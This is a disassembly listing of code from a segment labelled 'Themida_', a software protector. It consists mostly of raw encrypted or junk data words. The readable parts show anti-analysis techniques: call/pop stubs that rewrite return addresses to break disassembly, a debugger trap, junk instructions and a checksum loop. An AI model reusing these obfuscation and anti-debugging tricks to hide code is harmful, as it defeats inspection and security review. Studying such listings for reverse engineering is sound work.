		dd 11BD83F5h, 3061200h,	36D850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 594E5FC3h
		dd 0C224027Ah, 0BF0FDDD3h, 0CBD83DFh, 615BDh, 339840Fh
		dd 95890000h, 6120899h,	0BD0CB5FFh, 60530615h, 901C380h
		dd 1232D5BDh, 0FF5B6106h, 12202995h, 0DABF0F06h, 0BD00B58Bh
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 363EFCC3h, 91C685B3h, 0CD8D0928h,	0C7061212h
		dd 1000106h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 860F0817h, 2, 8B50FD8Ah, 243489F8h
		dd 20C99D23h, 0B5FF0612h, 615BD0Ch, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 5DC35747h, 0A6A32B77h, 0D185895Bh
		dd 0FF061228h, 121AE195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0F5A03BF5h
		dd 98BF7080h, 8EBB93A4h, 8B48CFAEh, 15BD00B5h, 39858B06h
		dd 8B061230h, 1214659Dh, 0C4868906h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 269DC357h, 0B480197Fh, 8B2F3081h, 122DCD95h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0E975522Ah, 8343C5CFh, 0BD2904C2h, 6121909h,	0F205089h
		dd 68Bh, 0ADBD8900h, 8D06122Fh,	15D0EA85h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 29CAAA1Bh, 122AA995h, 0B8868906h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 2817C355h, 11DCC0E0h, 12FABF66h, 8E9h, 933B7E00h, 0BEB7524Ch
		dd 29006AAEh, 122F4D95h, 0CB5FF06h, 6A0615BDh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 1FC5C352h, 0DB818A85h, 55DFB015h, 2CD595FFh,	9D8B0612h
		dd 6120069h, 0DE8B6696h, 96F88B50h, 0B5FFC8B7h,	615BD0Ch
		dd 6541BF66h, 13E8h, 45873D00h,	13ADEE19h, 2717EC28h, 0F8B42962h
		dd 0D3B952A6h, 8858D89h, 0FF5F0612h, 122E2995h,	84BB6606h
		dd 89BD8340h, 61211h, 3B840Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 7FC1AC3h
		dd 0DB6FE2FCh, 4830F96h, 66000000h, 500D23BFh, 310F5250h
		dd 0E9F6BBFh, 96585A2Bh, 0CB5FFFCh, 6A0615BDh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0B4CAC352h, 663FC5C3h, 865DE381h, 2AA595FFh,	66F90612h
		dd 0B5FFDE8Bh, 615BD0Ch, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 46C35343h, 39688575h,	35EDA838h, 95FFFB8Bh
		dd 6121BB1h, 2A41BD83h,	0F020612h, 2E84h, 0FD9D8B00h, 8B061203h
		dd 1218A985h, 13830F06h, 0E8000000h, 0Bh, 8A1B826Dh, 97FE3946h
		dd 50124506h, 0C65B5Bh,	0C59D8B00h, 0C7061225h,	12030185h
		dd 6, 69BD8B00h, 0E9061227h, 0FFFFF430h, 2F21BD8Bh, 8B660612h
		dd 89C18BD8h, 12309985h, 65858D06h, 29061200h, 1209158Dh
		dd 698D8906h, 50061200h, 0F88B5250h, 8B66310Fh,	89585ADFh
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 80F33CC3h, 11958B60h, 0E9061234h,	0Bh, 933B053h
		dd 5BB02BB6h, 61F3AB69h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0E82B4EC3h, 0AC69E27Eh
		dd 6AEC1CFFh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0BCF6CBEAh, 0BE9h, 0A7DBF700h, 6263EED7h
		dd 3977ABCDh, 2375BD89h, 858D0612h, 6166655h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1BC35141h, 6B2B7F68h
		dd 9D8B66FCh, 6120285h,	6A05C083h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0DFA3C353h
		dd 0C5BD8959h, 31061203h, 122FA59Dh, 0FD8A9006h, 0BF0F9050h
		dd 89006AF9h, 1218A5BDh, 6A006A06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0DA79C352h
		dd 95FFE24Dh, 6120B55h,	0CE9h, 99AAE800h, 6F814F7h, 0AAA95190h
		dd 0CA8D8DC0h, 8906159Bh, 12186D95h, 0FD1FF06h,	0BD83FFBFh
		dd 6120EE9h, 0CC850F01h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 637CC353h
		dd 0CF819C28h, 5AAE1913h, 6A026Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0A4D7FDC3h, 0F1237AB0h
		dd 90B02ED8h, 11E95250h, 7A000000h, 7821A297h, 0D38CD15Bh
		dd 963DB767h, 548D640Bh, 6660310Fh, 0FE8C78Bh, 5B000000h
		dd 1C926A5Bh, 8A6A03F1h, 3504701Fh, 61581382h, 5750585Ah
		dd 7E8h, 0C23A0600h, 0C6E15F99h, 310F5250h, 5F5B585Ah
		dd 51006A90h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0FD111786h, 0FFFC4A8Bh, 122CD595h, 5E906h
		dd 70070000h, 0E9356F1Ch, 0E38h, 0E8h, 0ED815D00h, 616665Fh
		dd 8AFAB70Fh, 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 11BD8B2Ah, 8D061233h, 15968F85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 661DB1A9h, 0DDF9DF81h, 1F850F50h, 50000000h
		dd 13E852h, 91190000h, 83C90C99h, 0EA2B20B3h, 0A44CADD1h
		dd 752945D7h, 310F5BFEh, 489585Ah, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0F2F669FCh
		dd 0A5BD896Bh, 0E9061214h, 0Ch,	6833E1A2h, 0C3A563E7h
		dd 4609A3C4h, 35FF64h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0B190C350h
		dd 0DE8B66C6h, 26D59D8Bh, 89640612h, 25h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 0B8A048B2h, 8C62F0ABh, 80F55EBAh, 85FFFAF3h,	6121235h
		dd 0EEDBD8Bh, 0FF6A0612h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0BAC35646h, 51A34C92h, 9589B5DAh, 61207CDh
		dd 29D99D89h, 0B5FF0612h, 61229E5h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0FAC35141h,	0FDBF52D6h, 0FF69E821h
		dd 12147595h, 105E906h,	0BB660000h, 0B09CBCh, 6070E6F9h
		dd 20018D89h, 0E4610612h, 0CE871h, 9C460000h, 15D05994h
		dd 0A90BE10Ah, 5FFC561Ch, 830F613Ch, 0D7h, 80C8B60Fh, 6BA02DFh
		dd 8B000000h, 2830FFEh,	8B000000h, 66C18BFAh, 0E8C1F88Bh
		dd 919D8B04h, 6606121Dh, 2BF8E2F7h, 0E870FC8h, 60000000h
		dd 4C3BD081h, 95296A3Eh, 6122A3Dh, 0F8D18B61h, 0E9h, 2D858B00h
		dd 8906121Eh, 121FA985h, 7C08306h, 159D89h, 0C0830612h
		dd 0EE900h, 92570000h, 0FE2D4DE7h, 259B1523h, 0F2E2D1D9h
		dd 830FD03Bh, 20h, 0FE8h, 0A228D900h, 0FB004FFCh, 0DDBDCA5Bh
		dd 4EF80CD2h, 109DBD0Bh, 0E95B0612h, 3Fh, 23498D8Bh, 8D890612h
		dd 6121D69h, 0F01E183h,	2A84h, 7E900h, 15500000h, 0D1BE308Ah
		dd 49A58319h, 0FE061223h, 158DB509h, 95890612h,	6121E2Dh
		dd 8F1BD29h, 0E90612h, 8D000000h, 15F702B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0ACA8A110h, 277DBD8Bh, 6A0612h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0FFC35545h,	0C1DF8001h, 29D195FFh
		dd 7AB30612h, 8F1B9h, 0FCE18300h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0D4C35646h,	95FDA398h, 2635BD8Bh
		dd 0F8FC0612h, 0D22BC02Bh, 0B59D09h, 10B30612h,	0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 888ACF81h, 6A6DDDh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0D2BA18C3h
		dd 0BB139C53h, 5B70E4E4h, 880Dh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 4DE6C418h
		dd 0C1EB8036h, 958B4725h, 6122DCDh, 0DE8h, 2717EC00h, 0F8B42962h
		dd 0D3B952A6h, 8B5F5D62h, 1231BD8Dh, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 52BD513Ch
		dd 8B50F9FEh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 8FC35343h
		dd 27D83014h, 4E04335Dh, 59F380B0h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 49C35343h, 1024C83Dh, 0BF0755FCh
		dd 0D8B70FE9h, 6860Fh, 66500000h, 5BAA76BFh, 1419BD83h
		dd 0F000612h, 6F84h, 5E800h, 0B2E30000h, 0BB8205CEh, 9596FC1h
		dd 0B85Bh, 0D88B0000h, 4E4B8D8Dh, 6A0612h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 76575DC3h
		dd 0DBDBB92h, 0E1FF4265h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 21C35343h, 6E03D5D9h,	1B52941h, 6606122Ah
		dd 460EDF81h, 11BD83h, 0F000612h, 49E84h, 59F78100h, 8315A1F0h
		dd 120011BDh, 840F0106h, 4A6h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0D5C35646h,	8B2EA8A3h, 120B519Dh
		dd 28B0F06h, 8B000000h,	11BD83D8h, 3061200h, 436860Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 553BE8C3h, 8BF18B60h, 120B2595h, 9D8B6106h
		dd 6122711h, 56006A60h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0BA968ACBh, 8B532820h, 12214DBDh
		dd 8C66F906h, 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0E4914A1Dh, 21F99D09h, 0E1800612h
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 1002EE54h, 781BC8EAh, 0AFB8B85h,	0F840FC9h
		dd 0BF000001h, 2F1EBA7h, 24CD858Bh, 0BD8B0612h,	6123241h
		dd 248D8533h, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 9AE530C3h, 977946CAh, 901507DBh
		dd 6E9h, 0E4D8D700h, 5078EE2Ah,	8190DA8Bh, 5288BBC3h, 0F1DF8127h
		dd 6A0970A9h, 0ED68F900h, 0E8232267h, 0Ah, 0B6AE793Fh
		dd 0E05C2BF2h, 10E9D8F4h, 9A000000h, 2A8202E0h,	0A4C0589Ch
		dd 0F572797Bh, 5F5491DAh, 12243481h, 0F233D64h,	1989h
		dd 14E900h, 0EDD60000h,	0B47740A3h, 0F2C0167Eh,	0E29208C5h
		dd 0BA2EE2B5h, 95FF5088h, 6123031h, 0B1B52960h,	6106121Ch
		dd 0BD0C8589h, 6A0615h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0D24101C3h, 0BE322908h, 0E9CDA0E3h
		dd 1EEh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	69C35242h, 0CCDC2D2Bh, 23B35497h, 858BF8F8h, 615BD04h
		dd 1800C7h, 9D890000h, 612238Dh, 0BD08B58Bh, 6A0615h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 8B9C2BC3h, 2D2DA2EBh, 0DAD5E381h, 13E96718h,	0C8000000h
		dd 24F8523Fh, 3BF74600h, 0B68F13BAh, 46AA7FE1h,	858BC259h
		dd 6122399h, 12E860h, 5AC70000h, 29E6689Ch, 0FA1ABA90h
		dd 0FF1CE034h, 83B1F70Ch, 5BDAB70Fh, 0DE9h, 20F9E600h
		dd 3A095FF1h, 9B86277Bh, 8961477Ch, 0C860F06h, 0F000000h
		dd 68Dh, 2D9D8B00h, 8B061200h, 1224CD85h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 527A099Fh, 50C52A25h, 2999D01h, 895B0612h, 6A0446h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 6591CDC3h, 2E28B5B0h, 0CD0BF66h, 0CF4BB96h, 96507CA5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0FAC35343h
		dd 6890F60h, 89000000h,	121DF985h, 0B5FF6106h, 615BD04h
		dd 0CE8h, 16264200h, 6C73F678h,	0DE6625E6h, 5BFD8A7Ah
		dd 4E8h, 1F03FF00h, 7EBB6600h, 0BF665066h, 448BBFD9h, 8B0424h
		dd 6412BCBBh, 24448924h, 6A5804h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 5D764C3h, 73E3BFC1h
		dd 859589ABh, 8D06121Eh, 15BD0C85h, 5075B706h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 29E5C355h, 122DA995h, 3195FF06h, 80061230h
		dd 6A61DBC3h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0C8C2C352h, 8E99463h, 3B000000h
		dd 6EB95786h, 0C7326C5Fh, 12001185h, 306h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 8643DE21h, 87A6D7AFh, 0B58B60A4h, 6121E05h, 0CBD8361h
		dd 615BDh, 3E840Fh, 0BD8B0000h,	6123099h, 4EE9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 4F30E161h, 958B60F4h, 61215EDh, 23BDB58Bh, 66610612h
		dd 3EE5CB81h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0BBCBC357h, 0D63B535Fh, 868F6331h
		dd 19C59D8Bh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 4BD645C3h, 25E1B589h, 0BD830612h
		dd 6120011h, 3A850F03h,	6A000004h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 3FEAC353h
		dd 9589D484h, 6121371h,	0BD0CBD83h, 0F000615h, 40884h
		dd 11E900h, 80770000h, 998FFC62h, 90989B62h, 8FE5BFB3h
		dd 0FF6732E8h, 15BD0CB5h, 0C3816606h, 95FF46FEh, 6122029h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0FBC35545h
		dd 0BD036082h, 6121451h, 0DE9h,	0DFB7C900h, 0EFB6954Dh
		dd 30E2EF9Ch, 8B61A746h, 121AF59Dh, 0B58B06h, 0C70615BDh
		dd 1000106h, 89958900h,	9606121Bh, 4ABB66h, 0BF665750h
		dd 965F52E2h, 6CF3DBBh,	0CB5FF48h, 660615BDh, 0A396EF81h
		dd 1AE195FFh, 13E80612h, 4E000000h, 119566EAh, 1A391AD3h
		dd 1173B1C7h, 0AF7DFA1h, 9D33D6CBh, 61223C5h, 759D8B5Fh
		dd 8B061202h, 15BD00B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 8195890Dh, 8B06120Ch
		dd 12303985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8B66511Bh, 0C4C6BFD9h, 86897642h
		dd 0C4h, 0D7CF8166h, 0CD958BC4h, 8906122Dh, 122FC5B5h
		dd 4C28306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	14C35545h, 0B00EFDD2h, 3447824h, 1214619Dh, 0AE906h
		dd 67BF0000h, 0D912563h, 200000Eh, 6A205089h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0BA74C357h, 4D0888BFh, 6D9D8B71h, 8D06122Dh,	15D0EA85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0B874C138h, 19BD290Fh
		dd 89061227h, 0B886h, 0C8B0F00h, 0E9000000h, 7,	0D60AD89Dh
		dd 6AE2EAA2h, 0B5FFFC00h, 615BD0Ch, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 18C35242h, 0BC9F0F89h, 95FF3273h
		dd 6122CD5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	4FC35545h, 438F46C8h, 9D8BCDC1h, 61226CDh, 3055BD89h
		dd 0BB960612h, 61C1D8BCh, 9E850h, 17F60000h, 0C0B43181h
		dd 0BB731960h, 65FEAABEh, 6A965Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 72FDAEC3h, 9D8930B1h
		dd 61228E5h, 0BD0CB5FFh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 4F3B0AC3h, 3ED7CC9h
		dd 120F159Dh, 2995FF06h, 8906122Eh, 1215E5BDh, 89BD8306h
		dd 61211h, 32840Fh, 0F98B0000h,	79BB6696h, 0BF665041h
		dd 6A9614C0h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0E51FC353h, 0F928F2Fh,	411DECAEh
		dd 0BD0CB5FFh, 8D890615h, 6122685h, 2AA595FFh, 6A0612h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0BD6D83C3h, 324C73D6h, 668B5FA3h, 0FF7E5BBh,	386h, 0FABF0F00h
		dd 0BD0CB5FFh, 84BB0615h, 570DD0B4h, 0EDDB589h,	0FF5B0612h
		dd 121BB195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0A3E6C2A9h, 77A139F3h, 83F90DDFh
		dd 122A41BDh, 840F0206h, 5Fh, 60D28060h, 3E59D8Bh, 8B610612h
		dd 1218A985h, 1E8A0F06h, 0E8000000h, 12h, 0ED62431Ah, 0C39C23B7h
		dd 0AD23D6ADh, 9A542036h, 8D89E243h, 61231EDh, 0C65Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 79C35343h
		dd 56E24DDAh, 668B0B3Bh, 0C75759BBh, 12030185h,	6, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 9E822E7Ah, 0C4C75C7h, 0F2FCE9F8h, 8529FFFFh,	6120029h
		dd 8D31C18Bh, 6122C89h,	65858Dh, 6A0612h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 5E885C3h
		dd 0BA000000h, 0E034FA1Ah, 0B92915BFh, 0F505B5Ch, 1087h
		dd 0BE900h, 0BD0D0000h,	0CEAF47B6h, 0B6773258h,	24048919h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0CC35242h
		dd 0BCF381DDh, 8B208103h, 1207BDBDh, 0F006A06h,	6AFFB7h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 18C35242h
		dd 7D42EC05h, 0FE9h, 73E43F00h,	0C509705Ah, 2056195Dh
		dd 0A0C361B4h, 7751858Dh, 6A0616h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 163F6CC3h, 12E997D7h
		dd 41000000h, 24A33116h, 7A88948Dh, 2D466CBh, 4216E0EEh
		dd 91BD8B0Fh, 83061210h, 0BE805C0h, 38000000h, 5BD92F9Fh
		dd 3340FF40h, 95895C19h, 6122831h, 0BB66505Bh, 489FFDFh
		dd 619D8B24h, 306121Dh,	122E9D9Dh, 6A006A06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0B651C351h, 6A006Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 89CC0EC3h, 5D6B2A6Bh, 19890FAFh
		dd 0E8000000h, 13h, 58952760h, 96C05AE3h, 50DE9CB0h, 887D86B1h
		dd 5B3149CDh, 0B5595FFh, 8E90612h, 52000000h, 28448C54h
		dd 8DC2A3E7h, 159BCA8Dh, 9D316006h, 6120309h, 2D8DB58Bh
		dd 0FF610612h, 53006AD1h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 134C6230h, 0EF816679h
		dd 0BD832476h, 6120EE9h, 0E0850F01h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 30A0C352h, 43A2D974h, 60D4532Ah, 2F458589h, 858B0612h
		dd 6120B2Dh, 1870F61h, 0F5000000h, 6A026Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 812326C3h
		dd 0D65D26E7h, 0FE8B5040h, 6A240489h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0E0B6C350h
		dd 0E8E4738Eh, 12h, 0A9D0DD9Bh,	467D8C7Bh, 14CF82Ah, 7EE82B4Eh
		dd 9D8B69E2h, 61200A5h,	6E95Fh,	811F0000h, 8FEA4169h, 12E9h
		dd 3BA72F00h, 9D4D570Ah, 9ED98809h, 0E2D7FB2Ch,	0FFE26888h
		dd 122CD595h, 11E906h, 0A5380000h, 8A7A110Ah, 3A6CC78Fh
		dd 7F52E440h, 0E9B7E095h, 0D93h, 0E8h, 0ED815D00h, 616775Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E9C35242h
		dd 0C212715Fh, 0F7816601h, 6A4747h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0C02A3EC3h
		dd 0A0F966C6h, 0BD8B4B03h, 6122EFDh, 968F858Dh,	6A0615h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 65EE01C3h, 3591FD87h, 0F319D29h, 66500612h, 489DF8Bh
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 8AE17BECh, 0DE831E44h, 8E84Dh, 0EF210000h
		dd 0CCE1E511h, 9D8B9D6Ah, 61218C5h, 35FF645Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5C330B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C330B	proc near		; CODE XREF: Themida_:005C3303p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5C330B	endp

; ---------------------------------------------------------------------------
		cmp	al, 0C0h
		cwde
		mov	edi, 53D65D30h
		ror	byte ptr [ecx],	66h
		mov	edi, 8964FBABh
		and	eax, 0
		mov	bl, 5Fh
		inc	dword ptr [ebp+6121235h]
		push	0
		push	ebp
		call	sub_5C3343
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3343	proc near		; CODE XREF: Themida_:005C333Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5C3343	endp

; ---------------------------------------------------------------------------
		db 0CEh
; ---------------------------------------------------------------------------
		popf
		or	al, 8Dh
		mov	[edi], gs
		int	3		; Trap to Debugger
		mov	ebx, edi
		push	0FFFFFFFFh
		jmp	loc_5C336D
; ---------------------------------------------------------------------------
		db 0DFh
		dd 0D83D59ABh, 12A469AAh
; ---------------------------------------------------------------------------
		push	edi


loc_5C336D:				; CODE XREF: Themida_:005C335Ej
		push	dword ptr [ebp+6120C89h]
		push	0
		push	ebx
		call	sub_5C337E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C337E	proc near		; CODE XREF: Themida_:005C3376p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5C337E	endp

; ---------------------------------------------------------------------------
		dw 0F3E8h
		dd 0F381666Ch, 0BB663D3Ah, 0BF0F4BBDh, 7595FFDEh, 0E9061214h
		dd 106h, 3890Fh, 0BF0F0000h, 8B00B0DAh,	1214799Dh, 6670E606h
		dd 0E40850BFh, 9D9D8971h, 3C061223h, 0DF830F61h, 8B000000h
		dd 121CDD9Dh, 0C59D8906h, 0F06120Eh, 0BD8BC8B6h, 612149Dh
		dd 6BAh, 8BDE8B00h, 0E1C5BFC1h,	0E8C167A6h, 0F99D8B04h
		dd 66061232h, 0BD8BE2F7h, 6122015h, 880FC82Bh, 17h, 12E9h
		dd 459CCD00h, 43A03940h, 7D0C6DA0h, 65BCD9C6h, 8B33B7FDh
		dd 0FFC60D1h, 282h, 61616000h, 0CE9h, 6810F00h,	89000000h
		dd 12283DBDh, 7D858B06h, 83061228h, 0C08307C0h,	8D016000h
		dd 6122ACDh, 13E18D29h,	3B610612h, 19830FD0h, 0BF000000h
		dd 3E71DD8Bh, 41E9h, 0AE900h, 0EA9A0000h, 0C0419F8Ah, 30954F37h
		dd 2ED98D8Bh, 0E1830612h, 23840F01h, 57000000h,	0B399501h
		dd 835F0612h, 122ED9A5h, 8B66FE06h, 7D9589D8h, 31061228h
		dd 120B6195h, 0E906h, 0B58D0000h, 6160251h, 4D78166h, 31006AC4h
		dd 122CBD95h, 95BD8B06h, 0FF06122Ah, 1229D195h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 23F3CDBAh, 692CD4B8h, 6E9B706h, 5F000000h, 2C63A019h
		dd 7CEB9CEh, 8B660000h,	0FCE183F8h, 0EDB589h, 80FC0612h
		dd 0B8A0CFh, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 9825C356h, 0BACC00EAh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5C3547
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3547	proc near		; CODE XREF: Themida_:005C353Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5C3547	endp

; ---------------------------------------------------------------------------
		add	edi, esp
		fidiv	word ptr [eax-1C3255ACh]
		stc
		sti
		mov	[ebp+61217D5h],	eax
		mov	ebx, [ebp+61207D5h]


loc_5C356D:				; CODE XREF: Themida_:005C3577j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5C356D
		push	0
		push	ecx
		call	sub_5C3584
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C3584	proc near		; CODE XREF: Themida_:005C357Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5C3584	endp

; ---------------------------------------------------------------------------
